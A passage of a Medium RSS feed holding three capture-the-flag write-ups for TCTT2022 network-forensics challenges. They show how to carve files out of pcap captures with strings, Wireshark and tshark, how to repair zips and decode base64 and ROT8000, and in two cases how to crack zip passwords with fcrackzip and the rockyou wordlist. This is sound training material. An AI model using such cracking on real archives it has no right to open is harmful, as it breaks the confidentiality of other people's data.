.\<br>                       /_ \   ||   / _\<br>                        ||    ||    ||<br>                 ; ,     \`.__||__.&#39;/<br>         |\     /( ;\_.;  `./|  __.&#39;<br>         &#39; `.  _|_\/_;-&#39;_ .&#39; &#39;||<br>          \ _/`       `.-\_ / ||      _<br>      , _ _`; ,--.   ,--. ;&#39;_ _|,     |<br>      &#39;`&#39;&#39;\| /  ,-\ | _,-\ |/&#39;&#39;`&#39;  _  |<br>       \ .-- \__\_/ /` )_/ --. /   |  |       _<br>       /    .         -&#39;  .    \ --|--|--.  .&#39; \<br>      |     /             \     |  |  |   \ |---&#39;<br>   .   .  -&#39; `-..____...-&#39; `-  .   |  |    |\  _<br>.&#39;`&#39;.__ `._      `-..-&#39;&#39;    _.&#39;|   |  | _  | `-&#39;      _<br> \ .--.`.  `-..__    _,..-&#39;   L|   |    |             |<br>  &#39;    \ \      _,| |,_      /_7)  |    |   _       _ |  _<br>        \ \    /       \ _.-&#39;/||        | .&#39; \     _| |  |<br>         \ \  /.&#39;|   |`.__.&#39;` ||     .--| |--- _   /| |  |<br>          \ `//_/     \       ||    /   | \  _ \  / | |  |<br>           `/ \|       |      ||   |    |  `-&#39;  \/  | &#39;--|      _<br>            `&quot;`&#39;.  _  .&#39;      ||    `--&#39;|                |   .--/<br>                 \ | /        ||                         &#39;--&#39;<br>                  |&#39;|  mx     &#39;J        <strong>Cy@ TCTT2022</strong> ! ;)<br>               .-.|||.-.<br>              &#39;----&quot;----&#39;</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=da41a85006d2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[NCSA2022 : network-challenge04
(Network Security)]]></title>
            <link>https://medium.com/@manop55555/ncsa2022-network-challenge04-network-security-f16655450ee8?source=rss-29e16bfdf251------2</link>
            <guid isPermaLink="false">https://medium.com/p/f16655450ee8</guid>
            <category><![CDATA[tctt2022]]></category>
            <category><![CDATA[ncsa-ctf]]></category>
            <category><![CDATA[network]]></category>
            <category><![CDATA[ncsa2022]]></category>
            <dc:creator><![CDATA[manop55555]]></dc:creator>
            <pubDate>Mon, 10 Oct 2022 11:21:40 GMT</pubDate>
            <atom:updated>2022-10-19T11:59:54.957Z</atom:updated>
            <content:encoded><![CDATA[<h3>TCTT2022 : network-challenge04<br>(Network Security)</h3><p><strong>SPOILER ALERT</strong> : Hello I’m scriptpit01 !!<br>This is a writeup for the TCTT2022 <em>“</em>network-challenge04<em>”</em><br>which will end up in showing the solution to the problem.<br>Do not read if you don’t want to know the solution<br>before trying to solve it by yourself.</p><p>flag format : tctt2022{xxxxxxxxxxxxxxxxxxxxxxxxx}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KtvLjDr9KTTQ_o0p06sVCA.png" /></figure><h3>Solution</h3><p><strong>(Step Error)<br>scriptpi01 </strong>: First, we have network_security04.pcap .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/204/1*gUByCGpRVYguPHs31UVqig.png" /></figure><p><strong>scriptpi01 </strong>: I will use strings command to see what i should check and find in this .pcap .</p><pre>strings -n 7 -t x network_security04.pcap</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*H65dGpompWkI1_1lOXt5Zg.png" /></figure><p><strong>scriptpi01 </strong>: Now we will see a lot of text that so confuse.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*qnaM_h7ZmDQjyt80HI8GvA.png" /></figure><p><strong>scriptpi01 </strong>: Let’s open in Wireshark.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-IrIajpBK1EPxqNPQimQgQ.png" /></figure><p><strong>scriptpi01 </strong>: You go to this.</p><pre>File &gt;&gt; Export Objects &gt; HTTP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*r1D5EMGROBe2YSRwWCPVRA.png" /></figure><p><strong>scriptpi01 </strong>: Click “Size” .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LpWk2lbweS2thLBX514PDQ.png" /></figure><p><strong>scriptpi01 </strong>: You will see secret.zip that’s very suspicious because It has the most size . We will save this file in to Desktop.</p><pre>secret.zip &gt;&gt; Save &gt;&gt; /root/Desktop &gt;&gt; Save</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O6a0CwAJyHS1kpm7BFShjQ.png" /></figure><p><strong>scriptpi01 </strong>: Now we will unzip secret.zip you will get dev folder .</p><pre>unzip secret.zip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*qBtY3mz581XnprTp-TIkVg.png" /></figure><p><strong>scriptpi01 </strong>: And we will see a lot of text file. So I ever see this before so use this command to check first.</p><pre>md5sum *</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*3DlxmHjKFWnfCWQodVpJlg.png" /></figure><p><strong>scriptpi01 </strong>: And we will see something is difference.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*iE17ySfNm9k1tXoBGozNzA.png" /></figure><p><strong>scriptpi01 </strong>: We will cat test_69.txt .</p><pre>cat test_69.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*6la8vOPxxp2D2LBGjzkT6g.png" /></figure><p><strong>scriptpi01 : </strong>We will get something look like cipher (base64). Let’s decode with Cyberchef.</p><p><strong>scriptpi01 : </strong>If you decode this with base64 9 times you will got a flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RxR7Mnd7Qju2MFPO_uol4w.png" /></figure><pre>tctt2022{Hello_Scriptpi01}</pre><blockquote><strong><em>scriptpi01 </em></strong><em>: Finally, We got a flag here !!</em></blockquote><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong>Little Devil</strong> by myflix</p><pre>.\<br>                        .\   / _\   .\<br>                       /_ \   ||   / _\<br>                        ||    ||    ||<br>                 ; ,     \`.__||__.&#39;/<br>         |\     /( ;\_.;  `./|  __.&#39;<br>         &#39; `.  _|_\/_;-&#39;_ .&#39; &#39;||<br>          \ _/`       `.-\_ / ||      _<br>      , _ _`; ,--.   ,--. ;&#39;_ _|,     |<br>      &#39;`&#39;&#39;\| /  ,-\ | _,-\ |/&#39;&#39;`&#39;  _  |<br>       \ .-- \__\_/ /` )_/ --. /   |  |       _<br>       /    .         -&#39;  .    \ --|--|--.  .&#39; \<br>      |     /             \     |  |  |   \ |---&#39;<br>   .   .  -&#39; `-..____...-&#39; `-  .   |  |    |\  _<br>.&#39;`&#39;.__ `._      `-..-&#39;&#39;    _.&#39;|   |  | _  | `-&#39;      _<br> \ .--.`.  `-..__    _,..-&#39;   L|   |    |             |<br>  &#39;    \ \      _,| |,_      /_7)  |    |   _       _ |  _<br>        \ \    /       \ _.-&#39;/||        | .&#39; \     _| |  |<br>         \ \  /.&#39;|   |`.__.&#39;` ||     .--| |--- _   /| |  |<br>          \ `//_/     \       ||    /   | \  _ \  / | |  |<br>           `/ \|       |      ||   |    |  `-&#39;  \/  | &#39;--|      _<br>            `&quot;`&#39;.  _  .&#39;      ||    `--&#39;|                |   .--/<br>                 \ | /        ||                         &#39;--&#39;<br>                  |&#39;|  mx     &#39;J        <strong>Cy@ TCTT2022</strong> ! ;)<br>               .-.|||.-.<br>              &#39;----&quot;----&#39;</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f16655450ee8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[NCSA2022 : network-challenge03
(Network Security)]]></title>
            <link>https://medium.com/@manop55555/ncsa2022-network-challenge03-network-security-159bd7d07504?source=rss-29e16bfdf251------2</link>
            <guid isPermaLink="false">https://medium.com/p/159bd7d07504</guid>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[network]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ncsa2022]]></category>
            <category><![CDATA[wireshark]]></category>
            <dc:creator><![CDATA[manop55555]]></dc:creator>
            <pubDate>Thu, 06 Oct 2022 15:13:33 GMT</pubDate>
            <atom:updated>2022-10-19T12:00:38.988Z</atom:updated>
            <content:encoded><![CDATA[<h3>TCTT2022 : network-challenge03<br>(Network Security)</h3><p><strong>SPOILER ALERT</strong> : Hello I’m scriptpit01 !!<br>This is a writeup for the TCTT2022 <em>“</em>network-challenge03<em>”</em><br>which will end up in showing the solution to the problem.<br>Do not read if you don’t want to know the solution<br>before trying to solve it by yourself.</p><p>credit : sudlit (fix zip)</p><p>flag format : tctt2022{xxxxxxxxxxxxxxxxxxxxxxxxx}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hIvGNxu7JFFzLhg0PMJIJA.png" /></figure><h3>Solution</h3><p><strong>(Step Error)<br>scriptpi01 </strong>: First, we have network_security03.pcap .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/139/1*yBNCUyMr0qrzfRAP--CTfw.png" /></figure><p><strong>scriptpi01 </strong>: I will use strings command to see what i should check and find in this .pcap .</p><pre>strings -n 7 -t x network_security03.pcap</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*AjWt1Uz3IWO9tPlX9Y16xg.png" /></figure><p><strong>scriptpi01 </strong>: Now we will see a lot of text that so confuse.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/1*iJgV7nrrdA4eNHd7ZPqDrQ.png" /></figure><p><strong>scriptpi01 </strong>: We won’t to try grep command to get the flag because it not too many messages. We can scroll down.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/408/1*FW6by9E_-sz-odXzYNkCAg.png" /></figure><p><strong>scriptpi01 </strong>: Let’s open in Wireshark.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ba-xVxBbc4D7-1TwOS-CAg.png" /></figure><p><strong>scriptpi01 </strong>: If we see Protocal Hirechy we will check ICMP first because they have more ARP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*11CRAy7P426B0zsQvvpjug.png" /></figure><p><strong>scriptpi01 </strong>: You should to do this.</p><pre>ICMP &gt;&gt; Applt as Filter &gt;&gt; Selected</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*qQyvlhZEqxstACLQB_xwfQ.png" /></figure><pre>length</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PfN4CN6j_m5ySNI2hPdMpw.png" /></figure><p><strong>scriptpi01 </strong>: We will see text from strings is the same as text in cipher decode from hex on the right buttom of wireshark.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*YSYua_BUEH5H3u9ZpL1HMw.png" /></figure><p><strong>scriptpi01 </strong>: This is data of each package.</p><pre>Double click the package &gt;&gt; ICMP &gt;&gt; Data</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dIQvJagQwN6sQwRum5nYYg.png" /></figure><p><strong>scriptpi01 </strong>: If you scroll down you will see some text after package 0123… like PK header but it appears to be repeating 3 times and repeating 2 package.</p><blockquote>Package no. 4487 and no. 4488 are the same data.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bijuaTikJKgrumEzwYENFA.png" /></figure><p><strong>scriptpi01 </strong>: And the last data you will see this before package 0123… again.</p><blockquote>Package no.4520 and no. 4519 are the same data.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bTlMu-oXrjySiJGSpAPbuw.png" /></figure><p><strong>scriptpi01 </strong>: Now i will dump all data (hex) to see easyer.</p><pre>tshark -Y &quot;(data.len==48) &amp;&amp; (icmp.type==8)&quot; -T fields -r network_security03.pcap -e data</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j_wGuBo_kDAUZbqg_IeGqQ.png" /></figure><p><strong>scriptpi01 </strong>: I will copy all of this data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZV2gqcNiM8JO86X7OjuEqQ.png" /></figure><p><strong>scriptpi01 </strong>: You will see different data, that is data no.4487 to data no.4520.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*NYA5_sGwmWXhgXeIZjH_4w.png" /></figure><p><strong>scriptpi01 </strong>: You will get only this data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*iLilFAAU8oJ_fhgJv_01Sw.png" /></figure><p><strong>scriptpi01 </strong>: We can split the data like this because the File Signature of <br>PK header starts with .</p><pre>50 4B 03 04 14 00 ...</pre><pre><a href="https://www.garykessler.net/library/file_sigs.html">Website here</a> : File Signatures</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*0wL7THVoBGtL93XylhZi1g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l0cIBmVR2o2WXKz9NGgz9w.png" /></figure><p><strong>scriptpi01 </strong>: Now we will change hex to file.zip .</p><pre><a href="https://hexed.it/">Website here</a> : HexEdit Online</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/342/1*vmpa31IJNf5OxxdyrVMiuQ.png" /></figure><p><strong>scriptpi01 </strong>: Copy the data and …</p><pre>create new file</pre><pre>Ctrl + c (copy data)</pre><pre>Ctrl + v</pre><pre>Insert the data at the cursor position</pre><pre>Change <strong>Binary Data / Text</strong> to <strong>Hexadecimal Values</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EDdQTSnz3hIN1UUkSZ4RkA.png" /></figure><p><strong>scriptpi01 </strong>: Save as hello.zip</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e8btPo6GLoi5g9zzS-m48A.png" /></figure><p><strong>scriptpi01 </strong>: You will got hello.zip</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/86/1*SiAHR0Phb8-cs3x31YWHGQ.png" /></figure><p><strong>scriptpi01 </strong>: Let’s unzip it.</p><pre>unzip hello.zip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/314/1*VgALlqaT5V-WawSAPOQ28w.png" /></figure><p><strong>scriptpi01 </strong>: We should to fix hello.zip. I think we have something wrong with ZIP file Signatures.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*QND7Bf7-dUBD7R0mCGu_GQ.png" /></figure><p><strong>scriptpi01 </strong>: Use this command to fixed.</p><pre>zip -FF hello.zip --out hello_fixed.zip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*9hydWIcvW8OaVkCljmj92A.png" /></figure><p><strong>scriptpi01 </strong>: Now we have hello_fixed.zip .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/121/1*Roo0bvGG6ej70TaTWqdmMw.png" /></figure><p><strong>scriptpi01 </strong>: Let’s unzip again.</p><pre>unzip hello_fixed.zip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*OtjH48l2aC2yUE0uhQvdGg.png" /></figure><p><strong>scriptpi01 </strong>: We should to crack this ZIP password.</p><pre>fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt hello_fixed.zip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*cJm7ya6Tv-KT2ykiFiCVmg.png" /></figure><p><strong>scriptpi01 </strong>: The password is password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*lIM-HeVYa9J51D5BkdEILQ.png" /></figure><p><strong>scriptpi01 </strong>: Unzip again and see what is the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*m6fYwHTIV1LxVQxipogMBA.png" /></figure><p><strong>scriptpi01 </strong>: We remember this cipher text it’s ROT8000.<br><strong>scriptpi01 </strong>: Let’s go to <a href="https://gchq.github.io/CyberChef/">cyberchef</a> !!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*CBL2TyW-yNmVhGL4SIzi7Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/477/1*26Y8cBcu3lRB4_0bnDPxdQ.png" /></figure><pre>tctt2022{Hello_Scriptpi01}</pre><blockquote><strong><em>scriptpi01 </em></strong><em>: Finally, We got a flag here !!</em></blockquote><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong>Little Devil</strong> by myflix</p><pre>.\<br>                        .\   / _\   .\<br>                       /_ \   ||   / _\<br>                        ||    ||    ||<br>                 ; ,     \`.__||__.&#39;/<br>         |\     /( ;\_.;  `./|  __.&#39;<br>         &#39; `.  _|_\/_;-&#39;_ .&#39; &#39;||<br>          \ _/`       `.-\_ / ||      _<br>      , _ _`; ,--.   ,--. ;&#39;_ _|,     |<br>      &#39;`&#39;&#39;\| /  ,-\ | _,-\ |/&#39;&#39;`&#39;  _  |<br>       \ .-- \__\_/ /` )_/ --. /   |  |       _<br>       /    .         -&#39;  .    \ --|--|--.  .&#39; \<br>      |     /             \     |  |  |   \ |---&#39;<br>   .   .  -&#39; `-..____...-&#39; `-  .   |  |    |\  _<br>.&#39;`&#39;.__ `._      `-..-&#39;&#39;    _.&#39;|   |  | _  | `-&#39;      _<br> \ .--.`.  `-..__    _,..-&#39;   L|   |    |             |<br>  &#39;    \ \      _,| |,_      /_7)  |    |   _       _ |  _<br>        \ \    /       \ _.-&#39;/||        | .&#39; \     _| |  |<br>         \ \  /.&#39;|   |`.__.&#39;` ||     .--| |--- _   /| |  |<br>          \ `//_/     \       ||    /   | \  _ \  / | |  |<br>           `/ \|       |      ||   |    |  `-&#39;  \/  | &#39;--|      _<br>            `&quot;`&#39;.  _  .&#39;      ||    `--&#39;|                |   .--/<br>                 \ | /        ||                         &#39;--&#39;<br>                  |&#39;|  mx     &#39;J        <strong>Cy@ TCTT2022</strong> ! ;)<br>               .-.|||.-.<br>              &#39;----&quot;----&#39;</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=159bd7d07504" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[NCSA2022 : network-challenge02
(Network Security)]]></title>
            <link>https://medium.com/@manop55555/ncsa2022-network-challenge02-network-security-75f7291cb8da?source=rss-29e16bfdf251------2</link>
            <guid isPermaLink="false">https://medium.com/p/75f7291cb8da</guid>
            <category><![CDATA[network]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[ncsa-network-challenge-2]]></category>
            <category><![CDATA[ncsa-ctf]]></category>
            <category><![CDATA[ncsa2022]]></category>
            <dc:creator><![CDATA[manop55555]]></dc:creator>
            <pubDate>Mon, 03 Oct 2022 18:00:19 GMT</pubDate>
            <atom:updated>2022-11-10T09:11:42.423Z</atom:updated>
            <content:encoded><![CDATA[<h3>TCTT2022 : network-challenge02<br>(Network Security)</h3><p><strong>SPOILER ALERT</strong> : Hello I’m scriptpit01 !!<br>This is a writeup for the TCTT2022 <em>“</em>network-challenge02<em>”</em><br>which will end up in showing the solution to the problem.<br>Do not read if you don’t want to know the solution<br>before trying to solve it by yourself.</p><p>flag format : tctt2022{xxxxxxxxxxxxxxxxxxxxxxxxx}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xHIyg7UlSFUBFsLZYX1Thw.png" /></figure><h3>Solution</h3><p><strong>(Step Error)<br>scriptpi01 </strong>: First, we have .pcap .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/140/1*ttjkvmysdAIIYdSetz4S3w.png" /></figure><p><strong>scriptpi01 </strong>: I will use strings command to see what i should check and find in this .pcap .</p><pre>strings -n 7 -t x network_security02.pcap</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*S3zMc-q_PD8xtTH798boEw.png" /></figure><p><strong>scriptpi01 </strong>: Now we will see a lot of text that so confuse.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/1*0hqzX99rDzERgTQ5tx1CWQ.png" /></figure><p><strong>scriptpi01 </strong>: We will try grep command to get the flag.</p><pre>strings -n 7 -t x network_security02.pcap | grep tctt</pre><pre>strings -n 7 -t x network_security02.pcap | grep 2022</pre><pre>strings -n 7 -t x network_security02.pcap | grep flag</pre><pre>strings -n 7 -t x network_security02.pcap | grep .zip</pre><p><strong>scriptpi01 </strong>: Grep tctt is nothing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*16mp56o5CdvzzVqWlCmxKQ.png" /></figure><p><strong>scriptpi01 </strong>: Grep 2022 is nothing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*lW0zXYis6KrsHv3lZ7QIoA.png" /></figure><p><strong>scriptpi01 </strong>: Now we see /var/www/flag this so interested.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*baKuXaftgypXvzzHgREFjg.png" /></figure><p><strong>scriptpi01 </strong>: I think we should find msecret.zip.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*kuT9Ia0fxhc9nfQiCIUvCg.png" /></figure><p><strong>scriptpi01 </strong>: If you don’t use grep command you can scroll up-down too see every text in .pcap file too.</p><p><strong>scriptpi01 </strong>: We scroll up and then we will see this .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*94VmYvZrdo3LrUCHPTjb9g.png" /></figure><p><strong>scriptpi01 </strong>: Open in Wireshark.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RhrnDt3x40AaMPdxfOwC0A.png" /></figure><p><strong>S<br>olution1</strong></p><p><strong>scriptpi01 </strong>: If we see Protocal Hirechy i will check telnet first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*bdYoA2H-YMEmTjz1OdozjA.png" /></figure><p><strong>scriptpi01 </strong>: You search telnet and click length for see the most length.</p><pre>write telnet</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*-VO3C9wEESAvffMbDexQZg.png" /></figure><p><strong>scriptpi01 </strong>: You can do this it’s the same solution.</p><pre>Statistics &gt;&gt; Protocal Hirechy (choose Telnet)</pre><pre>Right click &gt; Apply Filter &gt;&gt; Selected</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*-VO3C9wEESAvffMbDexQZg.png" /></figure><p><strong>scriptpi01 </strong>: Let’s check TCP stream.</p><pre>Right click &gt; Follow &gt;&gt; TCP Stream</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*5UyyLFhYJCuK_cl27TrOUw.png" /></figure><p><strong>scriptpi01 </strong>: We see msecret.zip . Now we will see next stream and yes we find the PK Header here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*CHIlBo2ArykbaFhm-QsIZQ.png" /></figure><p><strong>S<br>olution2</strong></p><p><strong>scriptpi01 </strong>: If we see Protocal Hirechy i will check ssh .</p><pre>write ssh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*W30EDNaG1o6gMIoTCGJgow.png" /></figure><p><strong>scriptpi01 </strong>: You can do this it’s the same solution.</p><pre>Statistics &gt;&gt; Protocal Hirechy (choose SSH)</pre><pre>Right click &gt; Apply Filter &gt;&gt; Selected</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9Z_KY5Mx723aPjIUinvkQA.png" /></figure><p><strong>scriptpi01 </strong>: We scrolling up and now we see new keys.</p><pre>Right click &gt; Follow &gt;&gt; TCP Stream</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*19thJJMppFjuyOYtD5QpAg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*kjXc-N9DLp7eosmd_82yhQ.png" /></figure><p><strong>scriptpi01 </strong>: Let’s change to other stream on the right buttom.</p><blockquote><em>stream 20112</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*fE6XUgY5GHMGHOR5OwmnRQ.png" /></figure><p><strong>scriptpi01 </strong>: In stream 20129 we will get PK Header.</p><blockquote>stream 20129</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*CHIlBo2ArykbaFhm-QsIZQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*9ldbmKVXg0hbkq27b2P2GA.png" /></figure><p><strong>scriptpi01 </strong>: In stream 20129 we will get PK Header.</p><p><strong>E<br>xport to file.</strong></p><p><strong>scriptpi01 </strong>: We should to get the file out. Let’s change the data on the buttom.</p><pre>Show data as : ASCII -&gt; Raw</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*hgy5WzE1qWvNKUhT.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*DVpMD-iMrpLvcDWq.png" /></figure><p><strong>scriptpi01 </strong>: We will see all text have changed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*OWYjpIpO3eUVNo6mIBvtaw.png" /></figure><p><strong>scriptpi01 </strong>: Let’s click save as on the right buttom.</p><pre>name : network2 (you can change your own name)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*uBqMBb0dsDaXono-XRyPoA.png" /></figure><p><strong>scriptpi01 </strong>: We have to unzip this file. But we don’t know the password.</p><pre>unzip network2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*AyLktTwUY77ip-bupvI9AQ.png" /></figure><p><strong>scriptpi01 </strong>: Now we can use fcrackzip for crack the password by rockyou.txt .</p><pre>fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt network2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*hLo5yMi5fT7DUXFoDvxkPQ.png" /></figure><p><strong>scriptpi01 </strong>: Password is P@ssw0rd.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*Aw7W7HCIwlWCf-rL9dvhSg.png" /></figure><p><strong>scriptpi01 </strong>: Let’s unzip again. Now we got secret.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/449/1*apNjXWxhWZr_NGclwwnUCw.png" /></figure><p><strong>scriptpi01 </strong>: What is a secret ?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*3NWvAk9YoU-6uOIyJML_kg.png" /></figure><pre>tctt2022{Hello_Scriptpi01}</pre><blockquote><strong><em>scriptpi01 </em></strong><em>: Finally, We got a flag here !!</em></blockquote><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong>Little Devil</strong> by myflix</p><pre>.\<br>                        .\   / _\   .\<br>                       /_ \   ||   / _\<br>                        ||    ||    ||<br>                 ; ,     \`.__||__.&#39;/<br>         |\     /( ;\_.;  `./|  __.&#39;<br>         &#39; `.  _|_\/_;-&#39;_ .&#39; &#39;||<br>          \ _/`       `.-\_ / ||      _<br>      , _ _`; ,--.   ,--. ;&#39;_ _|,     |<br>      &#39;`&#39;&#39;\| /  ,-\ | _,-\ |/&#39;&#39;`&#39;  _  |<br>       \ .-- \__\_/ /` )_/ --. /   |  |       _<br>       /    .         -&#39;  .    \ --|--|--.  .&#39; \<br>      |     /             \     |  |  |   \ |---&#39;<br>   .   .  -&#39; `-..____...-&#39; `-  .   |  |    |\  _<br>.&#39;`&#39;.__ `._      `-..-&#39;&#39;    _.&#39;|   |  | _  | `-&#39;      _<br> \ .--.`.  `-..__    _,..-&#39;   L|   |    |             |<br>  &#39;    \ \      _,| |,_      /_7)  |    |   _       _ |  _<br>        \ \    /       \ _.-&#39;/||        | .&#39; \     _| |  |<br>         \ \  /.&#39;|   |`.__.&#39;` ||     .--| |--- _   /| |  |<br>          \ `//_/     \       ||    /   | \  _ \  / | |  |<br>           `/ \|       |      ||   |    |  `-&#39;  \/  | &#39;--|      _<br>            `&quot;`&#39;.  _  .&#39;      ||    `--&#39;|                |   .--/<br>                 \ | /        ||                         &#39;--&#39;<br>                  |&#39;|  mx     &#39;J        <strong>Cy@ TCTT2022</strong> ! ;)<br>               .-.|||.-.<br>              &#39;----&quot;----&#39;</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=75f7291cb8da" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>